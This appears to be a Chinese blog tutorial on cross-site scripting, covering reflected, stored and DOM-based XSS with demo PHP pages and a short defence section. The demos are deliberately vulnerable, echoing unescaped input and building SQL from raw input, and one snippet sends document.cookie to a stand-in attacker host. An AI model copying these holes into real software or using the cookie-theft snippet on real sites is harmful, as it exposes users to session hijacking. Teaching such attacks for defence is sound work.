前端安全问题——XSS

八大前端安全问题：
1·老生常谈的XSS
2·警惕iframe带来的风险
3·别被点击劫持了
4·错误的内容推断
5·防火防盗防猪队友：不安全的第三方依赖包
6·用了HTTPS也可能掉坑里
7·本地存储数据泄露
8·缺失静态资源完整性校验

一.老生常谈的XSS

1.定义
XSS是跨站脚本攻击（Cross-Site Scripting）的简称,XSS这类安全问题发生的本质原因在于，浏览器错误的将攻击者提供的用户输入数据当做JavaScript脚本给执行了。
无论怎么分类，XSS漏洞始终是威胁用户的一个安全隐患。攻击者可以利用XSS漏洞来窃取包括用户身份信息在内的各种敏感信息、修改Web页面以欺骗用户，甚至控制受害者浏览器，或者和其他漏洞结合起来形成蠕虫攻击，等等。总之，关于XSS漏洞的利用，只有想不到没有做不到。

2.XSS漏洞成因

3.分类
可以分为两类：
非持久型xss攻击：顾名思义，非持久型xss攻击是一次性的，仅对当次的页面访问产生影响。非持久型xss攻击要求用户访问一个被攻击者篡改后的链接，用户访问该链接时，被植入的攻击脚本被用户游览器执行，从而达到攻击目的。
持久型xss攻击：持久型xss，会把攻击者的数据存储在服务器端，攻击行为将伴随着攻击数据一直存在。
也可以分为三类：
反射型：经过后端，不经过数据库
存储型：经过后端，经过数据库
DOM：不经过后端,DOM—based XSS漏洞是基于文档对象模型Document Objeet Model,DOM)的一种漏洞,dom - xss是通过url传入参数去控制触发的。

4.原理
1.反射型
新建一个xss.php文件并加入以下代码:

\\XSS反射演示
<form action="" method="get">
    <input type="text" name="xss"/>
    <input type="submit" value="test"/>
</form>
<?php
$xss = @$_GET['xss'];
if($xss!==null){
    echo $xss;

这段代码中首先包含一个表单，用于向页面自己发送 GET 请求，带一个名为xss的参数。然后 PHP 会读取该参数，如果不为空，则直接打印出来，这里不存在任何过滤。也就是说，如果xss中存在 HTML 结构性的内容，打印之后会直接解释为 HTML 元素。
部署好这个文件，访问http://localhost/xss.php，直接输入一个js代码，比如<script>alert('hack')</script>，
之后点击test：我们输入的HTML代码被执行了。用Firebug查看，我们输出的内容直接插入到了页面中，解释为

\\存储XSS演示
<form action="" method="post">
    <input type="text" name="xss"/>
    <input type="submit" value="test"/>
</form>
<?php
$xss=@$_POST['xss'];
mysql_connect("localhost","root","123");
mysql_select_db("xss");
if($xss!==null){
    $sql="insert into temp(id,payload) values('1','$xss')";
    $result=mysql_query($sql);
    echo $result;
}

用户输入的内容还是没有过滤，但是不直接显示在页面中，而是插入到了数据库。
新建show.php，内容为：

mysql_connect("localhost","root","root");
mysql_select_db("xss");
$sql="select payload from temp where id=1";
$result=mysql_query($sql);
while($row=mysql_fetch_array($result)){
   echo $row['payload'];

该代码从数据库读取了之前插入的内容，并将其显示出来。
先创建一个数据库xss,创建temp表:
这里写图片描述
然后访问xss.php，像之前一样输入 HTML 代码,点击test，点击之后却发现没有任何动静，但事实上，我们的数据已经插入到了数据库中。

当我们访问show.php查询这个值的时候，代码就会被执行。

存储型 XSS 的执行位置通常不同于输入位置。我们可以看出，存储行 XSS 的数据流向是：
浏览器 -> 后端 -> 数据库 -> 后端 -> 浏览器。

3.dom-xss
把xss.php内容改为


<?php
error_reporting(0); //禁用错误报告
$name = $_GET["name"];
?>
<input id="text" type="text" value="<?php echo $name;?>" />
<div id="print"></div>
<script type="text/javascript">
var text = document.getElementById("text"); 
var print = document.getElementById("print");
print.innerHTML = text.value; // 获取 text的值，并且输出在print内。这里是导致xss的主要原因。
</script>

这里写图片描述
DOM-XSS 的数据流向是：URL–>浏览器
总结: 在易用上，存储型XSS > DOM - XSS > 反射型 XSS。
注：反射型xss和dom-xss都需要在url加入js代码才能够触发。

4.利用
1.窃取cookies，读取目标网站的cookie发送到黑客的服务器上，如下面的代码：

var i=document.createElement("img");
document.body.appendChild(i);
i.src = "http://www.hackerserver.com/?c=" + document.cookie;

2.读取用户未公开的资料，如果：邮件列表或者内容、系统的客户资料，联系人列表等等。

3.假设界面上存在一个输入框用以让用户输入数据，此时恶意用户在录入数据的时候输入的并不是用户名，而是一段可执行的脚本程序alert(‘f’),由于某种原因，这段代码在服务端验证不通过，服务端重定向回这个页面，并带上用户输入的user_name参数，如下alert(‘f’),这时页面会弹出alert（’f’）,如果是一段恶意代码，后果不堪设想

4.恶意用户可以发一个包含恶意脚本的推广链接给终端用户，该链接经过URLEcode转码以迷惑用户，一旦用户点击，则恶意脚本执行，对用户造成危害。

5.用户提交表单，数据保存到数据库中，需要到另一个界面去展示。这时恶意用户输入一段恶意脚本，保存在数据库中。当页面展示时，恶意脚本被植入到页面中，从而造成危害。例如在一篇非常火的博客中嵌入危害代码。用户浏览该博客时，脚本执行，从而达到恶意攻击的目的。

5.防御
1.编码：对用户输入的数据进行HTML Entity编码
这里写图片描述
2.过滤：移除用户上传的DOM属性，如onerror等，移除用户上传的style节点，script节点，iframe节点等。
3.校正：避免直接对HTML Entity编码，使用DOM Prase转换，校正不配对的DOM标签。

前端安全问题——XSS

猜你喜欢